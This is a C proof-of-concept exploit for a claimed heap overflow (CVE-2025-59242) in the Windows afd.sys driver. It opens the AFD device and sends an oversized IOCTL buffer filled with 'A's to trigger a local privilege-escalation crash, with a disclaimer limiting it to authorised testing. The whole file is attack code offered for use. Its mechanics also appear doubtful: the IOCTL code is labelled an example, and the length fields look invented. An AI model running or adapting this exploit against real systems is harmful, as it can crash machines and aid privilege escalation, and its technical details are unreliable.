/*
* CVE-2025-59242 - Windows afd.sys Heap-based Buffer Overflow PoC
* Target: Windows Ancillary Function Driver for WinSock
* Type: Local Privilege Escalation via Heap Overflow
*
* WARNING: This PoC is for educational and authorized testing purposes only.
* Unauthorized use of this code against systems you do not own is illegal.
*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>
// AFD device name and IOCTL codes (internal/undocumented)
#define AFD_DEVICE_NAME "\\\\.\\Device\\Afd"
// IOCTL code for binding an endpoint (example internal IOCTL)
#define IOCTL_AFD_BIND 0x00012003
// Structure to hold the malicious input for triggering the overflow
typedef struct _AFD_EXPLOIT_INPUT {
ULONG InputLength; // Intended length (smaller than actual)
ULONG ActualLength; // Actual data length (larger - triggers overflow)
ULONG SocketHandle;
ULONG Padding;
CHAR Data[0x1000]; // Oversized buffer to overflow heap
} AFD_EXPLOIT_INPUT, *PAFD_EXPLOIT_INPUT;
int main(int argc, char* argv[]) {
HANDLE hDevice;
DWORD bytesReturned;
BOOL result;
AFD_EXPLOIT_INPUT exploitInput = { 0 };
printf("[*] CVE-2025-59242 - afd.sys Heap Overflow PoC\n");
// Step 1: Open a handle to the AFD driver
hDevice = CreateFileA(
AFD_DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open AFD device. Error: %lu\n", GetLastError());
printf("[*] Note: SeDebugPrivilege or admin rights may be required.\n");
return 1;
}
printf("[+] Opened AFD device handle: 0x%p\n", hDevice);
// Step 2: Create a Winsock socket for the exploit context
WSADATA wsaData;
SOCKET sock = INVALID_SOCKET;
WSAStartup(MAKEWORD(2, 2), &wsaData);
sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET) {
printf("[-] Failed to create socket. Error: %d\n", WSAGetLastError());
CloseHandle(hDevice);
return 1;
}
printf("[+] Created socket: %llu\n", (ULONGLONG)sock);
// Step 3: Prepare the malicious input buffer
// The key is to set InputLength smaller than ActualLength,
// causing the driver to read more data than the allocated heap buffer
exploitInput.InputLength = 0x100; // Claimed length (small)
exploitInput.ActualLength = 0x1000; // Actual length (large - overflow!)
exploitInput.SocketHandle = (ULONG)sock;
memset(exploitInput.Data, 0x41, sizeof(exploitInput.Data)); // Fill with 'A's
// Step 4: Send the crafted IOCTL to trigger the heap overflow
printf("[*] Sending crafted IOCTL to trigger heap overflow...\n");
result = DeviceIoControl(
hDevice,
IOCTL_AFD_BIND,
&exploitInput,
sizeof(exploitInput), // Send full buffer
NULL,
0,
&bytesReturned,
NULL
);
if (!result) {
printf("[-] DeviceIoControl failed. Error: %lu\n", GetLastError());
// A BSOD or success may have occurred
} else {
printf("[+] IOCTL sent successfully\n");
}
// Cleanup
closesocket(sock);
WSACleanup();
CloseHandle(hDevice);
printf("[*] PoC execution completed.\n");
return 0;
}